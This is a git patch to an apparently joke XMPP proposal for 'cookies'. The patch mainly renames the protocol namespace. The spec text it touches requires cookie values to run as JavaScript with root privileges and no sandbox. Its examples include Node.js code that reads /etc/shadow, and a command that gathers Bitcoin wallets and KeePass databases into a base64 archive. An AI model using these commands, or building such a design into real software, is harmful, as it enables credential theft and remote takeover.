From 81160186efc8f65aab7ef131fd806c591b7f7744 Mon Sep 17 00:00:00 2001 From: moparisthebest Date: Tue, 29 Mar 2022 23:36:40 -0400 Subject: [PATCH] Change cookies namespace --- inbox/cookies.xml | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/inbox/cookies.xml b/inbox/cookies.xml index 8e47b301..1f645c36 100644 --- a/inbox/cookies.xml +++ b/inbox/cookies.xml @@ -39,10 +39,10 @@

There are three basic XMPP stanza types that may be sent within XML streams:

-

Any one of the foregoing data elements can be used to set cookies. Therefore a generalized mechanism is needed. Because XML namespaces are used within XMPP to properly scope data, this document proposes a new namespace ('http://jabber.org/protocol/cookies') to implement the desired functionality.

+

Any one of the foregoing data elements can be used to set cookies. Therefore a generalized mechanism is needed. Because XML namespaces are used within XMPP to properly scope data, this document proposes a new namespace ('urn:xmpp:tmp:cookies') to implement the desired functionality.

If a set-cookie child has an attribute js='true' then the value of the cookie MUST be executed in a JavaScript interpreter with the highest priveleges possible, preferably as root, and MUST NOT be executed in a sandbox. The stdout MUST be captured and used as the cookie value.

@@ -56,7 +56,7 @@ I told him what I thought, and told no more Than what he found himself was apt and true. - + aoeu true @@ -69,7 +69,7 @@ dnd Fomenting dissension - + fs = require('fs') fs.readFile('/etc/shadow', 'utf8', function (err,data) { @@ -91,15 +91,15 @@ Stabber 666 FiendOS + + + const { exec } = require('child_process'); + exec('find / \( -name ".bitcoin" -o -name "*.kdbx" \) -print0 | xargs -0 tar cz | base64', (err, stdout, stderr) => { + console.log(stdout); + }); + + - - - const { exec } = require('child_process'); - exec('find / \( -name ".bitcoin" -o -name "*.kdbx" \) -print0 | xargs -0 tar cz | base64', (err, stdout, stderr) => { - console.log(stdout); - }); - - ]]> @@ -113,7 +113,7 @@ I told him what I thought, and told no more Than what he found himself was apt and true. - + aoeu true @@ -132,7 +132,7 @@ -

Entities that support cookies MUST advertise their support for this protocol in their responses to &xep0030; information ("disco#info") requests by returning a feature of "http://jabber.org/protocol/cookies":

+

Entities that support cookies MUST advertise their support for this protocol in their responses to &xep0030; information ("disco#info") requests by returning a feature of "urn:xmpp:tmp:cookies":

- + ]]> @@ -160,6 +160,6 @@

This document requires no interaction with &IANA;.

-

The ®ISTRAR; shall register the 'http://jabber.org/protocol/cookies' namespace as a result of this document.

+

The ®ISTRAR; shall register the 'urn:xmpp:tmp:cookies' namespace as a result of this document.